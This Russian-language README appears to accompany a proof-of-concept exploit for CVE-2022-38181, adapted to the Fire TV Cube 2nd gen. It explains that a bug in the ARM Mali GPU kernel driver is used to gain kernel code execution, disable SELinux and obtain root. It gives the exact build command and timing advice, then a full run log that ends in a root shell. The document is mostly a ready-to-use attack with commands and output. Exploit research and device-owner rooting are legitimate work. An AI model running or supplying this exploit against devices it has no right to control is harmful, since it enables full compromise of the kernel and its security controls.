
CVE-2022-38181 POC для FireTV 2nd gen Cube (raven)
Это форк концептуального доказательства (POC) исследователя безопасности Мань Юэ Мо для CVE_2022_38181, предназначенного для Pixel 6 (ссылка). Ознакомьтесь с его подробным анализом уязвимости здесь. Внесены изменения с учётом 32-битного пользовательского пространства FireOS, а также более старых версий драйверов Bifrost (r16p0) и ядра Linux (4.9.113) на Fire TV Cube 2-го поколения. POC использует ошибку в драйвере ядра ARM Mali для получения произвольного выполнения кода в ядре, что затем применяется для отключения SELinux и получения прав root.
Я использовал следующую команду для компиляции с clang в ndk-21:
android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/armv7a-linux-androideabi30-clang -DSHELL mali_shrinker_mmap32.c -o raven_shrinker
Для максимальной надёжности эксплойт следует запускать через 30–90 секунд после загрузки Cube.
raven:/ $ /data/local/tmp/raven_shrinker
fingerprint: Amazon/raven/raven:9/PS7624.3337N/0026810845440:user/amz-p,release-keys
failed, retry.
failed, retry.
failed, retry.
failed, retry.
region freed 80
alias gpu va 100c85000
read 0
cleanup flush region
release_mem_pool
jit_freed
jit_free commit: 2 0
Found freed_idx 2
Found pgd 23, 100cce000
overwrite addr : 104100634 634
overwrite addr : 104300634 634
overwrite addr : 1041001c4 1c4
overwrite addr : 1043001c4 1c4
result 50
raven:/ #